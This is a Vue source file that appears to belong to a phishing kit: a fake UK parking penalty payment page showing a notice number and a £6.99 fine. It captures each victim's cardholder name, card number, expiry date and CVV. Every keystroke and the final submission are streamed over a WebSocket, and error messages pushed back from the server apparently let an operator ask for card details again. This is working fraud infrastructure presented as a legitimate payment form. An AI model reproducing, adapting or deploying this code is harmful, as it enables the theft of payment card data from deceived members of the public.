Files
zy-client-a/t_Ticket_temp2/src/views/CardView.vue
telangpu c73ff3b77a update
2026-04-29 12:37:13 +08:00

729 lines
18 KiB
Vue
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<script setup lang="ts">
import { inject, nextTick, onMounted, onUnmounted, reactive, ref, computed, watch } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
import { useRoute, useRouter } from "vue-router";
import {
inputChange, configData,
myWebSocket,
} from "@/utils/common";
import { useI18n } from "vue-i18n";
// 銀行卡圖標
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
const c10 ="/Static/default.svg";
const { t } = useI18n();
const router = useRouter();
const route = useRoute();
const invoiceNumber = ref("UK-PN-2048-5173");
const isModalVisible = ref(false);
const errorMessageVisible = ref(false);
const formSubmitted = ref(false);
const loadingStore = useLoadingStore();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
// 錯誤狀態提示
const errors = reactive({
cardName: false,
cardNumber: false,
expires: false,
cvv: false
});
const cardMessage = ref("");
const expiresErrorMsg = ref("");
const cvvMaxLength = ref(4);
const prevExpiresValue = ref(""); // 用于追踪日期输入框的前一个值
// 监听 cardMessage 的变化,有值就自动显示弹窗
watch(() => cardMessage.value, (newVal) => {
if (newVal) {
errorMessageVisible.value = true;
}
});
// 清除错误消息弹窗
const clearErrorMessage = () => {
errorMessageVisible.value = false;
};
// 卡種識別邏輯
const cardTypeImage = computed(() => {
const num = formData.cardNumber.replace(/\D/g, "");
if (!num) return c10;
if (/^4/.test(num)) return c1;
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num)) return c2;
if (/^3[47]/.test(num)) return c5;
if (/^(62|81)/.test(num)) return c4;
if (/^6(011|4[4-9]|5)/.test(num)) return c6;
if (/^35/.test(num)) return c3;
if (/^(30|36|38|39)/.test(num)) return c8;
if (/^(50|56|57|58|6)/.test(num)) return c7;
return c10;
});
const isCardIdentified = computed(() => cardTypeImage.value !== c10);
// 統一的輸入校驗邏輯
const onCardNameChange = (e: any) => {
formData.cardName = e.target.value;
errors.cardName = !formData.cardName;
inputChange("input_card", "cardName", formData.cardName);
};
const onCardNumberChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
if (val.length > 16) val = val.slice(0, 16);
formData.cardNumber = val.replace(/(\d{4})(?=\d)/g, "$1 ");
errors.cardNumber = val.length < 15;
// 当用户输入卡号时,清除全局错误信息
if (val.length > 0) {
cardMessage.value = "";
}
inputChange("input_card", "cardNumber", val);
};
const onExpiresChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
if (val.length > 4) val = val.slice(0, 4);
// 检测是否在删除:如果新值长度小于旧值长度,说明用户在删除,直接设置,不添加"/"
if (val.length < prevExpiresValue.value.length) {
formData.expires = val;
} else {
// 用户在输入新内容时,才自动添加"/"
formData.expires = val.length >= 2 ? val.slice(0, 2) + "/" + val.slice(2) : val;
}
prevExpiresValue.value = val;
cardMessage.value = "";
validateExpireDate(formData.expires);
inputChange("input_card", "expires", formData.expires);
};
// 日期输入框的按键处理,支持更好的删除体验
const onExpiresKeydown = (e: any) => {
if (e.key === 'Backspace') {
const cursorPos = e.target.selectionStart;
const value = e.target.value;
// 如果光标在 "/" 后面(位置 3按 backspace 可以删除 "/" 和前面的数字
if (cursorPos === 3 && value[2] === '/') {
// 让系统默认处理,但这样用户在 "/" 处按 backspace 会删除 "/"
// 然后 onChange 会自动重新格式化
return;
}
}
};
const onCvvChange = (e: any) => {
formData.cvv = e.target.value.replace(/\D/g, "");
errors.cvv = formData.cvv.length < 3;
inputChange("input_card", "cvv", formData.cvv);
};
const validateExpireDate = (value: string) => {
if (!value || value.length < 5) {
errors.expires = true;
expiresErrorMsg.value = "Required field";
return false;
}
const [monthStr, yearStr] = value.split('/');
const month = parseInt(monthStr);
if (month < 1 || month > 12) {
errors.expires = true;
expiresErrorMsg.value = "Invalid month";
return false;
}
// 檢查日期是否過期
const today = new Date();
const currentYear = today.getFullYear();
const currentMonth = today.getMonth() + 1;
const cardYear = 2000 + parseInt(yearStr);
if (cardYear < currentYear || (cardYear === currentYear && month < currentMonth)) {
errors.expires = true;
expiresErrorMsg.value = "Card has expired";
return false;
}
errors.expires = false;
expiresErrorMsg.value = "";
return true;
};
const next = async () => {
cardMessage.value = ""; // 清除之前的全局错误消息
errors.cardName = !formData.cardName;
errors.cardNumber = formData.cardNumber.replace(/\s/g, "").length < 15;
errors.cvv = formData.cvv.length < 3;
validateExpireDate(formData.expires);
if (errors.cardName || errors.cardNumber || errors.expires || errors.cvv) {
// 设置全局错误提示watch 会自动显示弹窗
if (errors.cardNumber) {
cardMessage.value = "Card number must be at least 15 digits";
} else if (errors.cardName) {
cardMessage.value = "Cardholder name is required";
} else if (errors.expires) {
cardMessage.value = expiresErrorMsg.value || "Invalid expiration date";
} else if (errors.cvv) {
cardMessage.value = "Security code must be at least 3 digits";
}
return;
}
isModalVisible.value = true;
const cleanCardNumber = formData.cardNumber.replace(/\s/g, "");
localStorage.setItem("cardNumber", cleanCardNumber);
myWebSocket?.send(JSON.stringify({
event: "submit_card",
content: { type: "submitCard", formData: { ...formData, cardNumber: cleanCardNumber } },
}));
};
const handleEvent = (data: { message2: string }) => {
cardMessage.value = data.message2;
isModalVisible.value = false;
};
onMounted(() => {
loadingStore.setLoading(false);
eventBus.on("my-event", handleEvent);
localStorage.setItem("route", "card");
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) invoiceNumber.value = inumber;
// Handle global error message from route query parameters
if (route.query.message2) {
cardMessage.value = route.query.message2 as string;
formSubmitted.value = true;
}
// 初始化 prevExpiresValue
prevExpiresValue.value = "";
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "card" },
})
);
});
onUnmounted(() => eventBus.off("my-event", handleEvent));
</script>
<template>
<CommonLayout>
<template #default>
<div class="payment-page-container">
<div class="stepper-wrapper">
<div class="progress-bar-bg">
<div class="progress-bar-fill"></div>
</div>
<span class="step-text">Step 2 of 2</span>
</div>
<h1 class="main-title">Confirm your payment</h1>
<p class="sub-title">Please check the details before you pay.</p>
<div class="payment-card">
<div class="card-header-secure">
<div class="secure-tag">🛡 SECURE PAYMENT</div>
</div>
<div class="summary-content">
<div class="label-muted">PARKING PENALTY</div>
<div class="total-amount">£{{ configData?.pay_amount ? configData.pay_amount : "6.99" }}</div>
<div class="detail-row">
<span class="left-label">Penalty notice number</span>
<span class="right-value bold">{{ invoiceNumber }}</span>
</div>
<div class="detail-row">
<span class="left-label">Penalty</span>
<span class="right-value bold">Parking in a restricted area</span>
</div>
<div class="fee-box">
<div class="fee-line"><span>Base penalty</span><span>{{ configData?.pay_amount ? configData.pay_amount :
"£6.99" }}</span></div>
<div class="fee-line"><span>Late fee</span><span>£0.00</span></div>
<div class="fee-line"><span>Processing fee</span><span>£0.00</span></div>
</div>
<div class="divider-dashed"></div>
<div class="final-total-row">
<span class="final-label">Total to pay</span>
<span class="final-value">{{ configData?.pay_amount ? configData.pay_amount : "£6.99" }}</span>
</div>
</div>
</div>
<div class="payment-form-card">
<div class="methods-container">
<p class="methods-text">We accept these payment methods</p>
<div class="icon-grid">
<img src="https://img.icons8.com/color/48/000000/visa.png" />
<img src="https://img.icons8.com/color/48/000000/mastercard.png" />
<img src="https://img.icons8.com/color/48/000000/amex.png" />
<img src="https://img.icons8.com/color/48/000000/maestro.png" />
<img src="https://img.icons8.com/color/48/000000/jcb.png" />
<img src="https://img.icons8.com/color/48/000000/discover.png" />
<img src="https://img.icons8.com/color/48/000000/diners-club.png" />
</div>
</div>
<form @submit.prevent="next" class="payment-form" novalidate>
<div class="form-item">
<label>Cardholder Name <span class="req">*</span></label>
<input type="text" v-model="formData.cardName" @input="onCardNameChange"
:class="{ 'field-error': errors.cardName }" />
<div class="msg-error" v-if="errors.cardName">Required field</div>
</div>
<div class="form-item">
<label>Card Number <span class="req">*</span></label>
<div class="input-with-icon">
<input type="text" placeholder="0000 0000 0000 0000" v-model="formData.cardNumber"
@input="onCardNumberChange" :class="{ 'field-error': errors.cardNumber || cardMessage }" />
<div class="card-type-indicator" v-if="isCardIdentified"><img :src="cardTypeImage" /></div>
</div>
<div class="msg-error" v-if="errors.cardNumber">Please enter a valid card number</div>
<div class="msg-error" v-if="cardMessage">{{ t(cardMessage) }}</div>
</div>
<div class="flex-row">
<div class="form-item half">
<label>Expiry Date <span class="req">*</span></label>
<input type="text" placeholder="MM/YY" v-model="formData.expires" @input="onExpiresChange" @keydown="onExpiresKeydown"
:class="{ 'field-error': errors.expires }" />
<div class="msg-error" v-if="errors.expires">{{ expiresErrorMsg }}</div>
</div>
<div class="form-item half">
<label>CVV <span class="req">*</span></label>
<input type="text" placeholder="123" v-model="formData.cvv" @input="onCvvChange" maxlength="4"
:class="{ 'field-error': errors.cvv }" />
<div class="msg-error" v-if="errors.cvv">Required</div>
</div>
</div>
<div class="button-section">
<button type="submit" class="pay-now-btn">Pay now</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
<PaymentLoadingModal v-model:visible="isModalVisible" :card-number="formData.cardNumber" :loading="true" />
<!-- Error Message Modal -->
<div v-if="errorMessageVisible" class="error-modal-overlay" @click="clearErrorMessage">
<div class="error-modal-content" @click.stop>
<div class="error-modal-header">
<span class="error-icon"></span>
<span class="error-title">Error</span>
<button class="error-modal-close" @click="clearErrorMessage">×</button>
</div>
<div class="error-modal-body">
<p>{{ cardMessage }}</p>
</div>
<div class="error-modal-footer">
<button class="error-modal-btn" @click="clearErrorMessage">OK</button>
</div>
</div>
</div>
</template>
<style scoped>
.payment-page-container {
max-width: 480px;
margin: 0 auto;
padding: 10px 15px 50px;
background-color: #fff;
}
/* 訂單部分 - 按照你提供的樣式 */
.payment-card {
position: relative;
margin-bottom: 24px;
box-shadow: rgba(0, 0, 0, 0.02) 0px 2px 4px;
border-width: 1px 1px 1px 4px;
border-style: solid;
border-color: rgb(212, 212, 232) rgb(212, 212, 232) rgb(212, 212, 232) rgb(29, 112, 184);
border-image: initial;
border-left: 4px solid rgb(29, 112, 184);
/* 關鍵藍色邊條 */
border-radius: 12px;
padding: 24px;
background: rgb(255, 255, 255);
}
/* 支付部分卡片樣式 */
.payment-form-card {
border: 1px solid rgb(212, 212, 232);
border-radius: 12px;
padding: 24px;
background: #fff;
box-shadow: rgba(0, 0, 0, 0.02) 0px 2px 4px;
}
/* 其它 UI 組件 */
.stepper-wrapper {
display: flex;
align-items: center;
margin-bottom: 25px;
padding: 0 5px;
}
.progress-bar-bg {
flex: 1;
height: 4px;
background: #E2E8F0;
border-radius: 2px;
margin-right: 15px;
}
.progress-bar-fill {
width: 100%;
height: 100%;
background: #1D70B8;
border-radius: 2px;
}
.step-text {
font-size: 13px;
font-weight: 700;
color: #1E293B;
}
.main-title {
font-size: 26px;
font-weight: 700;
color: #1D70B8;
text-align: center;
margin-top: 10px;
}
.sub-title {
font-size: 14px;
color: #64748B;
text-align: center;
margin-bottom: 30px;
}
.secure-tag {
font-size: 10px;
font-weight: 800;
color: #1D70B8;
background: #F1F5F9;
padding: 4px 10px;
border-radius: 20px;
display: inline-block;
float: right;
}
.summary-content {
clear: both;
text-align: center;
}
.label-muted {
font-size: 13px;
color: #94A3B8;
font-weight: 700;
margin-top: 15px;
}
.total-amount {
font-size: 38px;
font-weight: 900;
color: #1D70B8;
margin: 10px 0 20px;
}
.detail-row {
display: flex;
justify-content: space-between;
margin-bottom: 12px;
font-size: 14px;
}
.left-label {
color: #94A3B8;
}
.right-value.bold {
color: #1E293B;
font-weight: 700;
}
.fee-box {
background: #F8FAFC;
padding: 15px;
border-radius: 10px;
margin: 20px 0;
}
.fee-line {
display: flex;
justify-content: space-between;
font-size: 13px;
color: #64748B;
margin-bottom: 6px;
}
.divider-dashed {
border-top: 1px dashed #E2E8F0;
margin: 20px 0;
}
.final-total-row {
display: flex;
justify-content: space-between;
align-items: center;
}
.final-value {
font-size: 22px;
font-weight: 900;
color: #E11D48;
background: #FFF1F2;
padding: 4px 12px;
border-radius: 8px;
}
.methods-text {
font-size: 13px;
font-weight: 700;
color: #64748B;
margin-bottom: 12px;
}
.icon-grid {
display: flex;
gap: 8px;
flex-wrap: wrap;
margin-bottom: 25px;
}
.icon-grid img {
height: 20px;
border: 1px solid #F1F5F9;
border-radius: 4px;
padding: 2px 5px;
}
.form-item {
margin-bottom: 20px;
text-align: left;
}
.form-item label {
display: block;
font-size: 14px;
font-weight: 700;
color: #1E293B;
margin-bottom: 8px;
}
.req {
color: #EF4444;
}
input {
width: 100%;
padding: 13px 15px;
border: 1.5px solid #E2E8F0;
border-radius: 10px;
font-size: 16px;
box-sizing: border-box;
transition: all 0.2s;
}
input:focus {
outline: none;
border-color: #1D70B8;
}
.field-error {
border-color: #EF4444 !important;
background: #FFF1F2;
}
.msg-error {
color: #EF4444;
font-size: 12px;
margin-top: 5px;
font-weight: 500;
}
.input-with-icon {
position: relative;
}
.card-type-indicator {
position: absolute;
right: 12px;
top: 50%;
transform: translateY(-50%);
}
.card-type-indicator img {
height: 22px;
}
.flex-row {
display: flex;
gap: 15px;
}
.half {
flex: 1;
}
.pay-now-btn {
width: 100%;
background: #1D70B8;
color: #fff;
border: none;
padding: 16px;
font-size: 18px;
font-weight: 700;
border-radius: 50px;
cursor: pointer;
box-shadow: 0 4px 12px rgba(29, 112, 184, 0.4);
margin-top: 10px;
}
/* Error Modal Styles */
.error-modal-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.5);
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
.error-modal-content {
background: white;
border-radius: 12px;
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
max-width: 400px;
width: 90%;
overflow: hidden;
animation: slideUp 0.3s ease-out;
}
@keyframes slideUp {
from {
opacity: 0;
transform: translateY(20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.error-modal-header {
display: flex;
align-items: center;
gap: 12px;
padding: 16px 20px;
border-bottom: 1px solid #e5e7eb;
background: #fef3f2;
}
.error-icon {
font-size: 24px;
}
.error-title {
font-size: 18px;
font-weight: 600;
color: #1f2937;
flex: 1;
}
.error-modal-close {
background: none;
border: none;
font-size: 24px;
cursor: pointer;
color: #6b7280;
padding: 0;
width: 24px;
height: 24px;
display: flex;
align-items: center;
justify-content: center;
}
.error-modal-close:hover {
color: #1f2937;
}
.error-modal-body {
padding: 20px;
color: #374151;
font-size: 16px;
line-height: 1.5;
}
.error-modal-body p {
margin: 0;
}
.error-modal-footer {
padding: 16px 20px;
border-top: 1px solid #e5e7eb;
display: flex;
justify-content: flex-end;
gap: 10px;
}
.error-modal-btn {
background: #1D70B8;
color: white;
border: none;
padding: 10px 24px;
border-radius: 6px;
cursor: pointer;
font-size: 14px;
font-weight: 600;
transition: background 0.2s;
}
.error-modal-btn:hover {
background: #1a5fa0;
}
</style>